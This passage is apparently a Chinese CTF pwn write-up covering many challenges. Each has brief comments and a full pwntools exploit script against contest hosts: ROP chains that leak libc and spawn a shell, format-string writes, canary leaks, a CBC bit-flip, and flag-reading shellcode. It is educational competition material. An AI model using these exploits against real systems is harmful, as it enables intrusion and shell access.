 delete(0)
 
 io.interactive()
 
 \# dbg()

FindG???t

有了over_flow???的经验,加上之前就听过可以在libc_start_main附近找0x0f05当syscall的手法,就直接加了个爆破,甚至懒得问ai,写了个0x00~0xff遍历[捂脸]

from pwn import *
 
 \# io = process("./pwn")
 
 elf = ELF("./pwn")
 libc = elf.libc
 
 context.terminal = ["tmux", "new-window"]
 context.log_level = "debug"
 
 \# gdb.attach(io)
 
 bytes_for = [b'\x00', b'\x01', b'\x02', b'\x03', b'\x04', b'\x05', b'\x06', b'\x07', b'\x08', b'\x09', b'\x0a', b'\x0b', b'\x0c', b'\x0d', b'\x0e', b'\x0f', b'\x10', b'\x11', b'\x12', b'\x13', b'\x14', b'\x15', b'\x16', b'\x17', b'\x18', b'\x19', b'\x1a', b'\x1b', b'\x1c', b'\x1d', b'\x1e', b'\x1f', b'\x20', b'\x21', b'\x22', b'\x23', b'\x24', b'\x25', b'\x26', b'\x27', b'\x28', b'\x29', b'\x2a', b'\x2b', b'\x2c', b'\x2d', b'\x2e', b'\x2f', b'\x30', b'\x31', b'\x32', b'\x33', b'\x34', b'\x35', b'\x36', b'\x37', b'\x38', b'\x39', b'\x3a', b'\x3b', b'\x3c', b'\x3d', b'\x3e', b'\x3f', b'\x40', b'\x41', b'\x42', b'\x43', b'\x44', b'\x45', b'\x46', b'\x47', b'\x48', b'\x49', b'\x4a', b'\x4b', b'\x4c', b'\x4d', b'\x4e', b'\x4f', b'\x50', b'\x51', b'\x52', b'\x53', b'\x54', b'\x55', b'\x56', b'\x57', b'\x58', b'\x59', b'\x5a', b'\x5b', b'\x5c', b'\x5d', b'\x5e', b'\x5f', b'\x60', b'\x61', b'\x62', b'\x63', b'\x64', b'\x65', b'\x66', b'\x67', b'\x68', b'\x69', b'\x6a', b'\x6b', b'\x6c', b'\x6d', b'\x6e', b'\x6f', b'\x70', b'\x71', b'\x72', b'\x73', b'\x74', b'\x75', b'\x76', b'\x77', b'\x78', b'\x79', b'\x7a', b'\x7b', b'\x7c', b'\x7d', b'\x7e', b'\x7f', b'\x80', b'\x81', b'\x82', b'\x83', b'\x84', b'\x85', b'\x86', b'\x87', b'\x88', b'\x89', b'\x8a', b'\x8b', b'\x8c', b'\x8d', b'\x8e', b'\x8f', b'\x90', b'\x91', b'\x92', b'\x93', b'\x94', b'\x95', b'\x96', b'\x97', b'\x98', b'\x99', b'\x9a', b'\x9b', b'\x9c', b'\x9d', b'\x9e', b'\x9f', b'\xa0', b'\xa1', b'\xa2', b'\xa3', b'\xa4', b'\xa5', b'\xa6', b'\xa7', b'\xa8', b'\xa9', b'\xaa', b'\xab', b'\xac', b'\xad', b'\ae', b'\xaf', b'\xb0', b'\xb1', b'\xb2', b'\xb3', b'\xb4', b'\xb5', b'\xb6', b'\xb7', b'\xb8', b'\xb9', b'\xba', b'\xbb', b'\xbc', b'\xbd', b'\xbe', b'\xbf', b'\xc0', b'\xc1', b'\xc2', b'\xc3', b'\xc4', b'\xc5', b'\xc6', b'\xc7', b'\xc8', b'\xc9', b'\xca', b'\xcb', b'\xcc', b'\xcd', b'\xce', b'\xcf', b'\xd0', b'\xd1', b'\xd2', b'\xd3', b'\xd4', b'\xd5', b'\xd6', b'\xd7', b'\xd8', b'\xd9', b'\xda', b'\xdb', b'\xdc', b'\xdd', b'\xde', b'\xdf', b'\xe0', b'\xe1', b'\xe2', b'\xe3', b'\xe4', b'\xe5', b'\xe6', b'\xe7', b'\xe8', b'\xe9', b'\xea', b'\xeb', b'\xec', b'\xed', b'\xee', b'\xef', b'\xf0', b'\xf1', b'\xf2', b'\xf3', b'\xf4', b'\xf5', b'\xf6', b'\xf7', b'\xf8', b'\xf9', b'\xfa', b'\xfb', b'\xfc', b'\xfd', b'\xfe', b'\xff']
 
 for i in bytes_for:
   \# io = process("./pwn2.34")
   io = remote("nc1.ctfplus.cn", 17014)
   try:
     io.recvuntil(b'> \n')
     io.send(b'/bin/sh\x00')
 
     io.recvuntil(b'index:\n')
     io.sendline(b'88')
     io.sendline(i)
 
     io.recvuntil(b'index2:\n')
 
     \# gdb.attach(io, 'b *0x401158')
 
     io.sendline(b'59')
     io.sendline(b'cat flag')
     if b'{' in io.recv():
       io.interactive()
     else:
       io.close()
       continue
   except:
     io.close()
     continue

struct_one_byte

又让我以为是堆题,然后发现给了后门和泄漏,觉得大事肯定不简单

然后一看代码,太乱了,不想逆,直接调上了。。。

当然题目名字给了提示,直接能注意到结构体最后的0x40会覆盖下一结构体标志着编辑长度的size,那就好办了,直接写调用函数地址为system加控rdi就行了(别问为啥不写backdoor,纯粹想试试行不行,)

from pwn import *
 
 \# io = process("./struct")
 io = remote("nc1.ctfplus.cn", 11246)
 
 elf = ELF("./struct")
 libc = elf.libc
 
 context(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])
 context.log_level = 'debug'
 dbg = lambda: (gdb.attach(io),pause())
 lg = lambda n,s: log.info('\033[1;1;20m%s: 0x%x <--\033[0m\033[1;3;20m %s \033[0m' % (str(n), eval(str(s)), s))
 
 io.recv()
 io.sendline(b'4')
 
 io.recvuntil(b'gift\naddr:')
 printf_addr = int(io.recv(14), 16)
 lg('printf_addr', printf_addr)
 libcbase = printf_addr - libc.symbols['printf']
 lg('libcbase', libcbase)
 puts_addr = libcbase + libc.symbols['puts']
 lg('puts_addr', puts_addr)
 system_addr = libcbase + libc.symbols['system']
 
 def choose(choice):
   io.sendlineafter(b'3. change player info:', str(choice).encode())
 
 def alloc(id, name, info, student=2):
   choose(1)
   io.sendlineafter(b'Index:', str(id).encode())
   if 2 == student:
     io.sendlineafter(b'>', str(2).encode())
   elif 1 == student:
     io.sendlineafter(b'>', str(1).encode())
   io.sendlineafter(b'name :', name)
   io.sendlineafter(b'info :', info)
 
 def edit(id, name):
   choose(3)
   io.sendlineafter(b'input index:', str(id).encode())
   io.sendafter(b'name :', name)
     
 def work(id):
   choose(2)
   io.sendlineafter(b'input index:', str(id).encode())
 
 alloc(1, b'/bin/sh\x00', b'/bin/sh\x00')
 alloc(0, b'0', b'0')
 \# alloc(1, b'1', b'1', 1)
 \# alloc(0xf, b'15', b'15')
 
 edit(1, b'/bin/sh\x00'*2 + p64(system_addr) + b'/bin/sh\x00'*2)
 
 \# gdb.attach(io)
 
 work(1)
 
 io.interactive()
 
 \# dbg()

stack_overflow

把栈地址甩脸上了,直接行动,要加个栈地址,到现在还不知道向buf写的判断是用来干嘛的

from pwn import *
 
 \# io = process("./pwn")
 io = remote("nc1.ctfplus.cn", 36068)
 
 context.terminal = ["tmux", "new-window"]
 context.log_level = "debug"
 
 elf = ELF("./pwn")
 
 libc = elf.libc
 
 io.recvuntil(b"give this gift:")
 
 \# gdb.attach(io)
 
 take = u64(io.recv(6).ljust(8, b"\x00"))
 print(hex(take))
 
 \# gdb.attach(io)
 
 io.recv()
 io.send(p64(take + 0x29))
 
 io.recv()
 io.send(b'\x00'*0x7)
 
 io.recv()
 payload = p64(0) * 0x4 + p64(0x4033C0 + 0x50) + p64(0x000000000040123f) + p64(elf.got['puts']) + p64(0) + p64(elf.plt['puts']) + p64(0x401350)
 
 \# gdb.attach(io)
 
 io.send(payload)
 
 puts_addr = u64(io.recv(6).ljust(8, b"\x00"))
 print(hex(puts_addr))
 libcbase = puts_addr - libc.symbols['puts']
 print(hex(libcbase))
 system_addr = libcbase + libc.symbols['system']
 print(hex(system_addr))
 binsh_addr = libcbase + next(libc.search(b"/bin/sh"))
 print(hex(binsh_addr))
 one_gadget = libcbase + 0xebc88
 print(hex(one_gadget))
 
 \# gdb.attach(io)
 
 payload = p64(0) * 0x4 + p64(0x4033C0 + 0x50) + p64(one_gadget)
 
 io.send(payload)
 
 io.interactive()

WhoIsAdmin

提示直接把考点讲了,觉得已经不能再简单了,都可以当例题了

数组溢出买下系统,然后用CBC翻转攻击的脚本转换明文,就可以直接用改系统名的溢出打正常ROP(决定拿来当例题给新生讲,嘻嘻)

from pwn import *
 from LibcSearcher import *

 \# io = process(['./ld-2.??.so','./'], env = {'LD_PRELOAD' : './libc-2.??.so'})
 \# io = process("./whoisadmin")
 io = remote('nc1.ctfplus.cn', 33679)

 elf = ELF("./whoisadmin")
 \# libc = ELF("./libc-2.??.so")
 libc = elf.libc

 context(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])
 context.log_level = 'debug'
 dbg = lambda: (gdb.attach(io),pause())
 lg = lambda n,s: log.info('\033[1;1;20m%s: 0x%x <--\033[0m\033[1;3;20m %s \033[0m' % (str(n), eval(str(s)), s))

 from Crypto.Util.strxor import strxor
 import binascii

 def decrypt(string):
   \# 动态输入密文和目标明文块
   ciphertext_hex = string # 示例密文
   ciphertext = binascii.unhexlify(ciphertext_hex)

   \# 定义块大小(通常为16字节)
   BLOCK_SIZE = 16

   \# 确保密文长度足够长,至少包含两个块
   if len(ciphertext) < 2 * BLOCK_SIZE:
     raise ValueError("密文太短,至少需要包含两个块。")

   \# 分离前两块密文
   C_0 = ciphertext[:BLOCK_SIZE] # 第一块
   C_1 = ciphertext[BLOCK_SIZE:2*BLOCK_SIZE] # 第二块

   \# 定义已知的原始明文块和目标明文块
   original_plaintext = b"BinaryCryptoYYDS" # 原始明文前16字节
   target_plaintext = b"AdminAdminAdminA"  # 目标明文前16字节

   \# 计算所需的异或调整量
   delta = strxor(original_plaintext, target_plaintext)

   \# 修改C_0,使得解密C_1时得到目标明文
   new_C_0 = strxor(C_0, delta)

   \# 组合新的密文,保持C_1不变
   modified_ciphertext = new_C_0 + C_1 + ciphertext[2*BLOCK_SIZE:] # 仅修改第一个块

   \# 输出结果
   print("原始密文: ", ciphertext_hex.decode())
   print("修改后的密文: ", binascii.hexlify(modified_ciphertext).decode())

   return binascii.hexlify(modified_ciphertext).decode()

 def choose(choice):
   io.sendlineafter(b'Your choice: >', str(choice).encode())

 def new_normal_count():
   choose(1)
   io.recvuntil(b'Your account authcode: ')
   return decrypt(io.recvuntil(b'\n', drop=True))

 def show_money():
   choose(3)

 def buy_max_accountLimit(number):
   choose(4)
   io.sendlineafter(b'Tell me when check is equal to how much, (check**17 mod 281443 == 222876) is satisfied???', str(1640).encode())
   io.sendlineafter(b'How many accounts do you want to add?', str(number).encode())

 def show_max_accountLimit():
   choose(5)

 def buy_system():
   choose(6)

 def try_to_login(name):
   choose(7)
   io.sendlineafter(b'Please Input your account authcode:', name)

 def change_system_name(new_system_name):
   choose(8)
   io.sendlineafter(b'Please input the new system name: ', new_system_name)

 buy_max_accountLimit(-100000)
 buy_system()

 attack = new_normal_count()

 try_to_login(attack)

 \# gdb.attach(io)

 pop_rdi = 0x0000000000402db3
 ret = 0x000000000040101a
 payload = b'A'*0x28 + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x402C23)

 change_system_name(payload)

 puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
 libc = LibcSearcher('puts', puts_addr)
 lg('puts_addr', puts_addr)
 libcbase = puts_addr - libc.dump('puts')
 lg('libcbase', libcbase)
 system = libcbase + libc.dump('system')
 lg('system_addr', system)
 binsh = libcbase + libc.dump('str_bin_sh')
 lg('bin_sh_addr', binsh)

 payload = b'A'*0x28 + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)

 change_system_name(payload)

 io.interactive()

 \# dbg()

 

stdout

蛮有意思,虽然我本来就知道设置缓冲区后write还是能够直接用fd正常工作,不过还是觉得给了提示,也可以当例题,再偷一道,哈哈

直接调试发现寄存器和返回地址残留修改后跳转到write前方就可以一次性泄漏出elf和libc的基址然后正常ROP,当时one_gadget死活打不通,找了师傅,还没找到题作者,直接换成system就出了,还是太懒了,哈哈

from pwn import *

# io = process(['./ld-2.??.so','./'], env = {'LD_PRELOAD' : './libc-2.??.so'})
 # io = process("./pwn")
 # io = remote('nc1.ctfplus.cn', 35132)
 
 elf = ELF("./pwn")
 # libc = ELF("./libc-2.??.so")
 libc = elf.libc
 
 context(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])
 context.log_level = 'debug'
 dbg = lambda: (gdb.attach(io),pause())
 lg = lambda n,s: log.info('\033[1;1;20m%s: 0x%x <--\033[0m\033[1;3;20m %s \033[0m' % (str(n), eval(str(s)), s))
 
 # gdb.attach(io, 'b vuln')
 
 # shellcode = '''
 # syscall
 # '''
 # shellcode = asm(shellcode, arch='amd64')
 # payload = shellcode.ljust(0x38, b'\x00')
 # payload = b'\x0f\x05'
 # payload = payload.ljust(0x38, b'\x00')
 # payload = asm(shellcraft.amd64.linux.sh())
 # print(payload)
 # payload = b'A'*0x28
 while True:
   # io = process("./pwn")
   io = remote('nc1.ctfplus.cn', 35132)
   try:
     payload = b'A'*0x8
 
     # io.send(b'A'*(0x50-0x3d) + p64(0xbfa7b))
     io.send(payload)
     # io.sendline()
 
     io.recvuntil(b'???,out??')
 
     # io.sendline()
     # io.send(b'AAA')
     # io.send(b'A'*0x40 + b'\x00')
     # io.send(b'A'*0x40 + p64(0)*3 + b'\xfe\x8a\xeb')
     # io.send(b'A'*0x40 + p64(0) + b'\xfb\x53')
    # io.send(b'A'*0x40 + p64(0) + b'\x03\x54')
     # io.send(b'A'*0x40 + p64(0) + b'\xfc\x53')
     # io.send(b'A'*0x40 + p64(0) + b'\xd0\x80')
     io.send(b'A'*0x40 + p64(0) + b'\x78\x53')
 
     io.recvuntil(b'A'*0x40)
     io.recv(0x8)
     elfbase = u64(io.recv(6).ljust(8, b'\x00')) - 0x1382
     lg('elfbase', elfbase)
 
     pop_rdi = elfbase + 0x0000000000001403
     lg('pop_rdi', pop_rdi)
 
     ret = elfbase + 0x000000000000101a
     lg('ret', ret)
 
     bss = elfbase + 0x5040
     lg('bss', bss)
 
     take = elfbase + 0x1310
     lg('take', take)
 
     pop_all = elfbase + 0x00000000000013fc
     lg('pop_all', pop_all)
 
     io.recv(0xa)
     libcbase = u64(io.recv(6).ljust(8, b'\x00')) - 0x24083
     lg('libcbase', libcbase)
 
     system = libcbase + libc.symbols['system']
     lg('system', system)
 
     binsh = libcbase + next(libc.search(b'/bin/sh'))
     lg('binsh', binsh)
 
     onegadget = libcbase + 0xe3afe
     lg('onegadget', onegadget)
 
     io.recv()
 
     \# gdb.attach(io)
 
     # payload = b'A'*0x48 + p64(onegadget)
     # payload = b'A'*0x48 + p64(pop_rdi) + p64(binsh) + p64(system)
     # io.send(payload)
 
     payload = b'A'*(0x40) + p64(bss + 0x40) + p64(take)
     io.send(payload)
 
     payload = b'B'*(0x40) + p64(bss + 0x40+0x40) + p64(take)
     io.send(payload)
 
     payload = p64(bss + 0x40+0x40 + 0x10) + p64(take)
     io.send(payload)
 
     # gdb.attach(io)
 
     payload = p64(ret)*2 + p64(pop_rdi) + p64(binsh) + p64(system)
     # payload = b'A'*0x8 + p64(pop_all) + p64(0)*4 + p64(onegadget)
     io.send(payload)
     io.interactive()
   except:
     io.close()
     continue

简单的签到

没啥好说的,甚至不用会pwn

from pwn import *
 
 \# io = process("./main")
 io = remote("nc1.ctfplus.cn", 35889)
 
 io.recv()
 io.recv()
 
 io.sendline()
 
 calc = io.recvuntil(b'=', drop=True)
 
 take = eval(calc)
 
 io.sendline(str(take).encode())
 
 io.interactive()

这里的空间有点小啊

read接栈迁的板子题了,调下长度和bss就能打通

from pwn import *
 
 \# io = process("./main")
 io = remote("nc1.ctfplus.cn", 16336)
 
 context.terminal = ["tmux", "new-window"]
 context.log_level = "debug"
 
 elf = ELF('./main')
 libc = elf.libc
 
 io.recvuntil(b'[1] Write something\n[2] Give you a flag\n>>')
 io.sendline(b'1')
 io.recvuntil(b'Now you can write something')
 
 bss = 0x601020 + 0x100
 
 payload = b'A'*0x30 + p64(bss) + p64(0x40071C)
 io.send(payload)
 
 payload = b'B'*0x30 + p64(bss + 0x30) + p64(0x40071C)
 io.send(payload)
 
 payload = p64(bss + 0x30 + 0x10) + p64(0x0000000000400853) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x40071C)
 io.send(payload)
 
 io.recv(1)
 
 libcbase = u64(io.recv(6).ljust(8, b'\x00')) - libc.sym['puts']
 print(hex(libcbase))
 system = libcbase + libc.sym['system']
 print(hex(system))
 
 og = libcbase + 0x4f302
 
 payload = b'A'*0x20 + p64(og) #p64(ret)+p64(rdi)+p64(bin_sh)+p64(system) #5
 io.send(payload)
 
 io.interactive()

真的能走到后门吗

具体通过泄漏能够拿到程序自己和保护给的两个canary,然后回去重新用printf写一位返回地址到后门就行了

from pwn import *
 
 \# io = process("./fmt")
 io = remote("nc1.ctfplus.cn", 18593)
 
 context.terminal = ['tmux', 'new-window']
 context.log_level = 'debug'
 
 elf = ELF('./fmt')
 libc = elf.libc
 
 io.recv()
 io.send(p64(0x404018))
 
 io.recv()
 
 payload = b'%' + str(0x127D).encode() + b'c%16$hn'
 payload = b'%14$p%17$p'
 payload = payload.ljust(0x10, b'\x00')
 
 \# gdb.attach(io)
 
 \# io.send(b'KKKKKKKK')
 io.send(payload)
 \# io.send(payload)
 
 \# io.recvline()
 io.recvuntil(b'your name:\n')
 take = int(io.recv(14), 16)
 print(hex(take))
 canary = int(io.recv(18), 16)
 print(hex(canary))
 
 \# gdb.attach(io)
 
 io.recvuntil(b'What do you want to say?\n')
 
 payload = b'A'*0x38 + p64(canary) + p64(take) + b'\x9D' # p64(0x40127D) # p64(0x5D)
 \# payload = payload.ljust(0x70, b'A')
 
 io.send(payload)
 
 \# gdb.attach(io, 'b vuln')
 
 io.recv()
 io.send(p64(take - 0x27))
 \# io.send(b'\x66\x66\x66')
 
 payload = b'%' + str(0x12).encode() + b'c%16$hhn'# + b'%' + str(0x7D - 0x12).encode() + b'c%16$hhn'
 print(hex(len(payload)))
 
 \# gdb.attach(io)
 
 io.send(payload)
 
 io.recvuntil(b'What do you want to say?\n')
 
 payload = b'A'*0x38 + p64(canary) + p64(take - 0x10) + b'\x85' # p64(0x40127D) # p64(0x5D)
 \# payload = payload.ljust(0x70, b'A')
 
 \# gdb.attach(io)
 
 io.send(payload)
 
 io.interactive()

 

ez_fmt

确实简单,我当printf打了。。。

Scanf更简单,只要知道偏移就能够任意写任意类型了

from pwn import *
 
 \# io = process("./pwn")
 io = remote("nc1.ctfplus.cn", 25743)
 
 elf = ELF("./pwn")
 libc = elf.libc
 
 context(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])
 context.log_level = 'debug'
 
 \# io.recv()
 \# payload = b'0x18'
 
 \# # gdb.attach(io, 'b *0x55555555532e')
 
 \# io.sendline(payload)
 
 \# main = u64(io.recv(6).ljust(8, b'\x00')) - 53
 \# log.info(f"Main addr: {hex(main)}")
 \# elfbase = main - elf.symbols['main']
 \# log.info(f"Elf base: {hex(elfbase)}")
 \# count_addr = elfbase + 0x4010
 \# log.info(f"Count addr: {hex(count_addr)}")
 
 io.recv()
 payload = b'0x9'
 
 \# gdb.attach(io, 'b *0x55555555532e')
 
 io.sendline(payload)
 
 canary = u64(io.recv(7).rjust(8, b'\x00'))
 log.info(f"Canary: {hex(canary)}")
 stack_addr = u64(io.recv(6).ljust(8, b'\x00'))
 log.info(f"Stack addr: {hex(stack_addr)}")
 
 io.recv()
 payload = b'0x38'
 
 \# gdb.attach(io, 'b *0x55555555533e')
 
 io.sendline(payload)
 
 libc_start_main_addr = u64(io.recv(6).ljust(8, b'\x00')) - 243
 log.info(f"Libc start main addr: {hex(libc_start_main_addr)}")
 libcbase = libc_start_main_addr - libc.symbols['__libc_start_main']
 log.info(f"Libc base: {hex(libcbase)}")
 system_addr = libcbase + libc.symbols['system']
 log.info(f"System addr: {hex(system_addr)}")
 binsh_addr = libcbase + next(libc.search(b"/bin/sh"))
 log.info(f"Binsh addr: {hex(binsh_addr)}")
 one_gadget_addr = libcbase + 0xe3b01
 log.info(f"One gadget addr: {hex(one_gadget_addr)}")
 
 \# high_sys = (one_gadget_addr >> 16) & 0xff # 提取前两位
 one_gadget = one_gadget_addr & 0xffffffff # 提取后四位
 log.info(f"one_gadget addr: {hex(one_gadget)}")
 
 io.recv()
 payload = p64(stack_addr - 0x18) + p64(0) + b'%6$d'
 payload = payload.ljust(0x20, b'\x00')
 \# payload = b'A'*8 + b'B'*0x8
 print(hex(len(payload)))
 
 \# gdb.attach(io)
 
 io.send(payload)
 
 io.sendline(str(one_gadget).encode())
 
 io.interactive()

hard_orw

对新生可能有点不友好,但是也就是要转一下模式有32位的open,然后用64位的sendfile就行了,其它的没啥难点,搓一下就出了

from pwn import *
 
 \# io = process(['./ld-2.??.so','./'], env = {'LD_PRELOAD' : './libc-2.??.so'})
 io = process("./sandbox")
 \# io = remote('nc1.ctfplus.cn', 37876)
 
 elf = ELF("./sandbox")
 \# libc = ELF("./libc-2.??.so")
 libc = elf.libc
 
 context(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])
 context.log_level = 'debug'
 dbg = lambda: (gdb.attach(io),pause())
 lg = lambda n,s: log.info('\033[1;1;20m%s: 0x%x <--\033[0m\033[1;3;20m %s \033[0m' % (str(n), eval(str(s)), s))
 
 \# gdb.attach(io)
 
 io.recvuntil(b'Please input your id')
 io.send(b'\x00\x00\x00\x00')
 io.recvuntil(b'Please input your age')
 io.send(b'\xf0\x15\x40\x00')
 io.recv()
 
 
   \# push  0x67616c66
   \# push  0x2
   \# pop  rax
   \# mov  rdi,rsp
   \# xor  rsi,rsi
   \# syscall 
 
 \# mov rsp, 0x405100
 \# push 0x23
 \# add rsi, 9
 \# push rsi
 \# retfq
 
 shellcode = '''
 mov rsp, 0x405100
 push 0x23
 add rsi, 0x10
 push rsi
 retfq
 '''
 
 shellcode1 = '''
 push 0x67616c66
 add esi, 0xec
 mov ebx,esp
 xor ecx,ecx
 xor edx,edx
 mov eax,5
 int 0x80
 
 push 0x33
 sub esi, 0x100
 add esi, 0x39
 push esi
 retf
 '''
 
 shellcode2 = '''
 mov rdi, 1
 mov rsi, 3
 push 0
 mov rdx, rsp
 mov r10, 0x100
 push SYS_sendfile
 pop rax
 syscall
 '''
 shellcode = asm(shellcode)
 shellcode1 = asm(shellcode1, arch='i386', bits=32)
 shellcode2 = asm(shellcode2)
 shellcode += shellcode1
 shellcode += shellcode2
 shellcode = shellcode.ljust(0x1000, b'\x00')
 \# payload = b'\xe8\xfc\xf0\xff\x00'
 \# payload = b'\xE9\xfb\xf0\xff\xff'
 \# payload = b'H\x83\xed\x18\xc3'
 \# payload = b'\xc3'
 payload = b'\xffU\xf0'
 
 \# gdb.attach(io)
 
 io.recvuntil(b'Perhaps you should learn "ret" and "fd" first')
 
 io.send(payload)
 
 \# pause()
 \# gdb.attach(io)
 
 io.send(shellcode)
 
 io.interactive()

你会栈溢出吗

直接到后门

from pwn import *
 
 # io = process("./stackover")
 io = remote("nc1.ctfplus.cn", 17766)
 
 io.recv()
 
 payload = b'A'*(0xC + 0x8) + p64(0x40073D)
 
 io.sendline(payload)
 
 io.interactive()

 

orz?orw!

jmp rsp到最后才想起来,打了半天leave_ret然后都报错。。。

此外就是神奇的复现的时候本地打不通了。。。

最大的问题其实是不能用\x00来泄漏canary又要用来当作read的长度参数,但是太长read是不会成功执行的,最开始本地调试到0x66可以才选的,并且远端也成功了,结果本地复现不成功,不然也想当例题的,等wp了

from pwn import *

 io = process("./orw")
 \# io = remote("nc1.ctfplus.cn", 39115)

 \# elf = ELF("./orw")
 \# libc = elf.libc

 context(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])
 context.log_level = 'debug'

 io.recvuntil(b'please input your size:')

 shellcode = '''
   push  0x67616c66
   push  0x2
   pop  rax
   mov  rdi,rsp
   xor  rsi,rsi
   syscall 
   mov rdi, 1
   mov rsi, 3
   push 0
   mov rdx, rsp
   mov r10, 0x100
   push SYS_sendfile
   pop rax
   syscall
 '''
 shellcode = asm(shellcode)
 print(len(shellcode))

 \# gdb.attach(io)

 io.sendline(str(4).encode())

 io.recvuntil(b'Please input your name:')
 \# payload = b'\x66'*0xa
 payload = b'\x66'*(0xa)

 \# gdb.attach(io, 'b *0x401382')

 io.send(payload)

 \# io.recvuntil(b'\x66'*0xa)
 io.recvuntil(payload)

 canary = u64(io.recv(7).rjust(8, b'\x00'))
 log.info(f"Canary: {hex(canary)}")
 \# stack_addr = u64(io.recv(6).ljust(8, b'\x00'))
 \# log.info(f"Stack addr: {hex(stack_addr)}")

 io.recvuntil(b'give me your id')
 payload = b'\x00'*0x4 + p64(canary) + p64(0x4040a0+0x30) + p64(0x4012A7) + shellcode

 gdb.attach(io, 'b *0x4013c1')

 io.send(payload)

 io.interactive()

ez_shellcode

写完shellcode跳转过去

from pwn import *
 
 \# io = process("./shellcode")
 io = remote("nc1.ctfplus.cn", 27071)
 
 context.terminal = ['tmux', 'new-window']
 context.log_level = 'debug'
 context.arch = 'amd64'
 
 payload = asm(shellcraft.sh())
 \# payload = b'KKKK'
 
 \# gdb.attach(io)
 
 io.sendafter(b'do you know shellcode?', payload)
 
 \# gdb.attach(io)
 
 \# io.sendline(b'A'*0x20 + p64(0x0000000000401463) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x4013E0))
 io.sendlineafter(b'please input your name:', b'A'*0x20 + p64(0x401256))
 
 io.interactive()

学校的烂电梯plus

看注释也能发现,哈哈爆破出来的,想过要住栈上打一个函数的返回,但是没想到打谁,爆破出了回去调发现是read,后来的pro里把栈顶的去掉了就寄了。。。

from pwn import *
 
 io = process("./pwn")
 \# io = remote("nc1.ctfplus.cn", 34720)
 
 elf = ELF("./pwn")
 libc = elf.libc
 
 context(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])
 context.log_level = 'debug'
 dbg = lambda: (gdb.attach(io),pause())
 lg = lambda n,s: log.info('\033[1;1;20m%s: 0x%x <--\033[0m\033[1;3;20m %s \033[0m' % (str(n), eval(str(s)), s))
 
 print(elf.plt['puts'])
 
 \# io.recv()
 \# gdb.attach(io)
 gdb.attach(io, 'b *0x40134d')
 \# gdb.attach(io, 'b *0x401389')
 \# gdb.attach(io, 'b *0x4013cb')
 
 \# io.sendline(str(-0x20).encode())
 \# io.sendline(str(-0xc).encode())
 \# io.sendline(str(-0).encode())
 \# io.sendline(str(-0x2).encode())
 \# io.sendline(str(-0x4).encode())
 \# io.sendline(str(-0x6).encode())
 \# io.sendline(str(-0x8).encode())
 \# io.sendline(str(-0xa).encode())
 \# io.sendline(str(-0xc).encode())
 \# io.sendline(str(-0xe).encode())
 \# io.sendline(str(-0x12).encode())
 \# io.sendline(str(-0x20).encode())
 \# io.sendlineafter(b'how many floors do you want to go?', str(-0x22).encode())
 \# io.sendline(str(0x2).encode())
 
 \# io.sendlineafter(b'how many floors do you want to go?', str(2).encode())
 \# io.sendlineafter(b'how many floors do you want to go?', str(-2).encode())
 io.sendlineafter(b'how many floors do you want to go?', str(-4).encode())
 \# io.sendlineafter(b'how many floors do you want to go?', str(2).encode())
 \# io.sendlineafter(b'how many floors do you want to go?', str(2).encode())
 \# io.sendlineafter(b'how many floors do you want to go?', str(2).encode())
 \# io.sendlineafter(b'how many floors do you want to go?', str(2).encode())
 \# io.sendlineafter(b'how many floors do you want to go?', str(2).encode())
 
 \# io.recv()
 \# io.recv()
 
 import struct
 
 \# target_value = 0x4013BA
 target_value = 0
 double_value = struct.unpack('d', struct.pack('Q', target_value))[0]
 
 io.sendlineafter(b'which one you want to call?', str(double_value).encode())
 
 pop_rdi = 0x000000000040127f
 
 payload = p64(0) + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.symbols['main'])
 
 io.sendlineafter(b'you have be saved, please send a message to thanks for the man!!', payload)
 
 io.recv()
 
 puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
 lg('puts_addr', puts_addr)
 libcbase = puts_addr - libc.symbols['puts']
 lg('libcbase', libcbase)
 system_addr = libcbase + libc.symbols['system']
 lg('system_addr', system_addr)
 str_bin_sh = libcbase + next(libc.search(b'/bin/sh'))
 lg('str_bin_sh', str_bin_sh)
 
 io.sendlineafter(b'how many floors do you want to go?', str(-4).encode())
 
 \# target_value = 0x4013BA
 target_value = 0
 double_value = struct.unpack('d', struct.pack('Q', target_value))[0]
 
 io.sendlineafter(b'which one you want to call?', str(double_value).encode())
 
 ret = 0x000000000040101a
 
 payload = p64(0) + p64(ret) + p64(pop_rdi) + p64(str_bin_sh) + p64(system_addr) # + p64(elf.symbols['main'])
 
 io.sendlineafter(b'you have be saved, please send a message to thanks for the man!!', payload)
 
 \# io.sendlineafter(b'how many floors do you want to go?', str(-0x2).encode())
 
 \# io.recv()
 
 \# io.sendline(str(-0xc).encode())
 
 \# io.recv()
 
 \# io.sendline(str(2.0747565e-317).encode())
 
 \# io.recv()
 
 \# io.sendline(b'A'*0x8)
 
 \# # io.sendline(str(2.0747585e-317).encode())
 
 io.interactive()

su~~~~

没懂题目名叫su干嘛,直接ROP就出了

from pwn import *
 
 \# io = process("./csu")
 io = remote("nc1.ctfplus.cn", 29975)
 
 context(arch='amd64', os='linux')
 context.log_level = "debug"
 context.terminal = ['tmux', 'new-window']
 
 elf = ELF("./csu")
 libc = elf.libc
 
 io.recv()
 io.sendline(b'1')
 payload = b'A'*0x88 + p64(0x0000000000400903) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.sym['main'])
 io.sendline(payload)
 
 puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
 print(hex(puts_addr))
 libcbase = puts_addr - libc.symbols['puts']
 print(hex(libcbase))
 system = libcbase + libc.symbols['system']
 print(hex(system))
 str_bin_sh = libcbase + next(libc.search(b'/bin/sh'))
 print(hex(str_bin_sh))
 
 io.recv()
 io.sendline(b'1')
 payload = b'A'*0x88 + p64(0x00000000004005d6) + p64(0x0000000000400903) + p64(str_bin_sh) + p64(system)
 io.sendline(payload)
 
 io.interactive()
;